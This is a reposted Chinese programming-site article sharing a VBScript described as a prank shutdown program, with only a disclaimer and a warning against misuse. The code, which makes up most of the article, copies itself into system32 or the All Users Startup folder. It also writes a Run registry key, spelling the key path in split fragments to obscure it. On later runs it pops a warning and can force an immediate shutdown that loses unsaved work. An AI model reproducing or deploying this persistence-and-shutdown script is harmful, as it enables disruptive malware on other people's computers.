首页 > 编程 > VBScript > 正文

vb下的恶搞关机程序

2020-06-26 18:35:07
字体:
来源:转载
供稿:网友
这篇文章主要介绍了vb下的恶搞关机程序的代码,无聊中制作的,请大家不要随便传播。。。造成的后果本人概不负责
 

额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。

 

复制代码代码如下:

Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject") 
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName) 
str ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"
if (fs.FileExists(dirwin&"/wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs")) Then
call Show_And_Do("Startup")
else 
On Error Resume Next
strr=""
Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs") 
 else
c.Copy(dirwin&"/wxb.vbs") 
end if 
end if 
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then  
if s="Startup" then
set f = fs.GetFile("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"/wxb.vbs")
f.Delete()
end if  
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

 

好了,代码分享给大家了,不要随便拿去搞破坏!


发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表